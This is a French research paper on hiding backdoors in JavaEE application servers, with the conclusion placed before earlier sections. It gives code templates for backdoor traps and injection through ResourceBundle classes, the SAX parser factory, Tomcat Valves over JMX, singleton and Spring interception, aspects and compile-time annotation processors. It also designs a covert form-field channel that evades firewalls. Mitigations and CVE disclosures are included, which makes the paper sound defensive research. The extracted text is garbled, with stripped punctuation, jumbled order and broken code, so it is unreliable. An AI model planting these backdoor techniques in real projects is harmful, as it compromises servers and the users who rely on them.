Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

392 Porte derobee dans les serveurs drsquoapplications JavaEE

En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee

Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins

Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet

Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant

ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN

httpwwweclipseorgaspectjdtdaspectjdtdgt

ltaspectj gt

ltweaver gt

ltinclude within= Servlet gt

ltinclude within=jsp gt

ltweaver gt

ltaspects gt

ltaspect

name=comgooglecodemacaronMyAspect gt

ltaspects gt

ltaspectj gt

Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs

ResourceBundlegetBundle(Messages)get(hello)

Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

